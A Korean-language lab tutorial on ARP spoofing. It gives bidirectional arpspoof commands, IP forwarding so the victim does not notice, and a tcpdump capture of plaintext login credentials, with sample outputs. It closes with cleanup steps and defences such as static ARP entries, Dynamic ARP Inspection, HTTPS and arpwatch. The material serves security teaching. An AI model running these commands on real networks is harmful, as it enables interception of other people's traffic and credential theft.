ARP는 응답을 받은 호스트가 그 응답이 진짜인지 확인하지 못한다. “게이트웨이 192.168.1.1의 MAC은 무엇인가?“라고 브로드캐스트로 물으면 누가 대답하든 그 값을 그대로 캐시에 적는다. 인증도 무결성 검사도 없다. 묻지 않았는데 날아온 응답(Gratuitous ARP)도 받아 기존 캐시를 덮어쓴다.

공격자는 이 틈에 거짓 응답을 넣는다. 피해자에게는 “게이트웨이 MAC은 내 것"이라고, 게이트웨이에게는 “피해자 MAC은 내 것"이라고 동시에 속이면 둘 사이의 모든 트래픽이 공격자를 경유한다. 전형적인 중간자(MITM) 공격이며, 아래에서 격리된 환경에 재현한다.

교육 목적 / 윤리적 사용

모든 실습은 본인이 소유했거나 명시적 허가를 받은 격리 네트워크에서만 수행한다. 타인의 네트워크를 무단으로 공격하면 정보통신망법 등에 따라 처벌받을 수 있다. ARP 프로토콜의 동작 방식 자체는 ARP 프로토콜 동작 방식을 참고한다.

공격이 성립하는 조건

ARP는 브로드캐스트 기반이라 공격자와 피해자가 같은 L2 세그먼트(같은 스위치, 같은 VLAN)에 있어야 한다. 라우터를 건너는 다른 서브넷에는 ARP가 닿지 않으므로 이 공격이 통하지 않는다. 실습은 인터넷과 분리된 가상 네트워크나 물리적으로 격리된 랩에서 한다.

실습 구성은 다음과 같다.

  • 공격자: Ubuntu 24.04, 192.168.1.10, MAC 00:0c:29:12:34:56
  • 피해자: 192.168.1.11
  • 게이트웨이: 192.168.1.1, MAC aa:bb:cc:dd:ee:ff
  • 네트워크: 192.168.1.0/24, 모두 같은 브로드캐스트 도메인

VirtualBox라면 NAT 네트워크를 하나 만들어 CIDR을 192.168.1.0/24로 두고 DHCP를 끈 뒤 각 VM에 고정 IP를 주면 호스트와 실제 망에서 격리된 랩이 된다.

공격 도구는 dsniff에 들어 있는 arpspoof, 분석은 tcpdump를 쓴다.

sudo apt update
sudo apt install -y dsniff tcpdump

1단계 — 공격 전 정상 상태 확인

피해자의 ARP 테이블이 정상일 때 게이트웨이 MAC이 무엇으로 찍히는지 확인한다.

# 피해자 (192.168.1.11)
$ ip neigh show
192.168.1.1 dev eth0 lladdr aa:bb:cc:dd:ee:ff REACHABLE
192.168.1.10 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE

게이트웨이(192.168.1.1)가 진짜 MAC aa:bb:cc:dd:ee:ff로 매핑돼 있다. 공격이 성공하면 이 값이 바뀐다. 공격자 쪽에서는 인터페이스 이름과 자기 MAC을 확인해 둔다.

# 공격자 (192.168.1.10)
$ ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    link/ether 00:0c:29:12:34:56 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global eth0

2단계 — IP 포워딩 켜기

공격이 성공하면 피해자의 트래픽이 전부 공격자에게 온다. 이때 공격자가 패킷을 게이트웨이로 다시 넘겨주지 않으면 피해자의 인터넷이 끊긴다. 의도치 않은 DoS이고, 피해자에게 이상을 알리는 신호이기도 하다. 들키지 않고 가로채려면 공격자 머신이 라우터처럼 패킷을 중계하도록 IP 포워딩을 켠다.

sudo sysctl -w net.ipv4.ip_forward=1

이제 공격자는 자기 것이 아닌 목적지 MAC의 패킷도 라우팅 테이블을 보고 다음 홉으로 넘긴다. 피해자 입장에서는 통신이 정상으로 보인다.

3단계 — 양방향 ARP 스푸핑 실행

피해자와 게이트웨이 양쪽 캐시를 동시에 오염시킨다. 양쪽을 다 속여야 송수신 트래픽을 모두 볼 수 있다.

# 터미널 1: 피해자에게 "게이트웨이 MAC은 내 것"이라고 속임
sudo arpspoof -i eth0 -t 192.168.1.11 -r 192.168.1.1

# 터미널 2: 게이트웨이에게 "피해자 MAC은 내 것"이라고 속임
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.11

ARP 스푸핑 공격 흐름

arpspoof는 거짓 ARP 응답을 1초마다 반복 전송한다. ARP 캐시는 OS마다 다르지만 수십 초에서 수 분이면 만료되므로, 만료 전에 계속 덮어써야 공격이 유지된다.

4단계 — 캐시가 오염됐는지 확인

피해자에서 ARP 테이블을 다시 조회한다.

# 피해자
$ ip neigh show
192.168.1.1 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE
192.168.1.10 dev eth0 lladdr 00:0c:29:12:34:56 REACHABLE

게이트웨이(192.168.1.1)의 MAC이 공격자 MAC 00:0c:29:12:34:56으로 바뀌었다. 1단계의 aa:bb:cc:dd:ee:ff와 비교하면 차이가 분명하다. 이제 피해자가 게이트웨이로 보내는 모든 패킷은 실제로는 공격자에게 간다. 게이트웨이 IP와 공격자 IP가 같은 MAC을 공유하게 됐는데, ARP가 IP↔MAC 매핑을 검증하지 않기 때문에 가능한 상태다.

5단계 — 트래픽 캡처와 평문 자격증명 탈취

공격자에서 tcpdump로 피해자를 지나는 트래픽을 들여다본다.

# 피해자의 HTTP 트래픽을 ASCII로 출력
sudo tcpdump -i eth0 -n -A 'tcp port 80 and host 192.168.1.11'

옵션은 -i eth0(캡처 인터페이스), -n(DNS 역변환 안 함), -A(페이로드를 ASCII로)다. 피해자가 HTTPS가 아닌 HTTP 사이트에 로그인하면 POST 본문이 평문으로 보인다.

$ sudo tcpdump -i eth0 -n -A 'tcp port 80 and host 192.168.1.11' | grep -i -A5 POST

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=victim&password=secret123

username=victim&password=secret123이 평문으로 잡힌다. 같은 링크에 있기만 하면 이런 자격증명을 통째로 가로챌 수 있다. 단, 트래픽이 TLS로 암호화돼 있으면 가로채도 내용을 읽지 못한다. 모든 사이트가 HTTPS를 써야 하는 이유가 여기에 있다. 같은 위치를 확보하면 DNS 응답 위조로 피싱 사이트 유도, 평문 세션 쿠키 탈취 같은 2차 공격으로 확장할 수 있는데, 그 출발점은 트래픽이 공격자를 거친다는 사실 하나다.

6단계 — 정리 및 복구

실습을 마치면 공격을 멈추고 복구한다.

# 공격자
sudo killall arpspoof
sudo sysctl -w net.ipv4.ip_forward=0

# 피해자: 오염된 캐시 비우기 (다음 통신 때 정상 학습)
sudo ip neigh flush all

캐시를 비우면 다음 통신 때 정상 ARP 교환으로 올바른 MAC을 다시 배운다. 그냥 두어도 TTL이 만료되면 복구된다.

방어

ARP 스푸핑의 근본 원인은 ARP에 인증이 없다는 것이다. ARP 자체에 검증을 넣기 어려우니, 방어는 외부에서 검증을 보태는 방향으로 간다.

바뀌면 안 되는 매핑은 고정한다. 게이트웨이처럼 변하지 않는 핵심 장비에 정적 ARP 엔트리를 박으면 거짓 응답이 와도 캐시를 덮어쓰지 못한다.

# 게이트웨이 IP-MAC을 영구 고정
sudo ip neigh add 192.168.1.1 lladdr aa:bb:cc:dd:ee:ff dev eth0 nud permanent

다만 네트워크가 바뀔 때마다 모든 호스트를 손봐야 하므로 대규모에서는 비현실적이고, 게이트웨이 같은 소수 핵심 인프라에만 쓴다. 같은 발상을 네트워크 차원에서 구현한 것이 스위치의 Dynamic ARP Inspection 류 기능으로, ARP 응답을 DHCP 바인딩과 대조해 위조된 것을 차단한다.

가로채여도 못 읽게 만드는 쪽이 더 현실적이다. 5단계에서 봤듯 공격의 실효성은 트래픽이 평문일 때 나온다. 모든 웹을 HTTPS로 강제하고 레거시 평문 프로토콜(FTP·Telnet 등)을 암호화 대안(SFTP·SSH)으로 옮기면, 공격자가 중간 위치를 잡아도 패킷 내용을 읽지 못한다. ARP 스푸핑을 원천 차단하기 어려운 IPv4 환경에서 내용 암호화가 비용 대비 효과가 가장 좋은 방어선이다.

탐지도 보탤 수 있다. arpwatch는 IP-MAC 매핑 변화를 감시하다가 한 IP가 두 MAC 사이를 빠르게 오가는 flip flop(ARP 스푸핑의 전형적 징후)을 잡으면 경고한다.

sudo apt install -y arpwatch
sudo arpwatch -i eth0
# 로그 예: changed ethernet address 192.168.1.1 aa:bb:cc:dd:ee:ff to 00:0c:29:12:34:56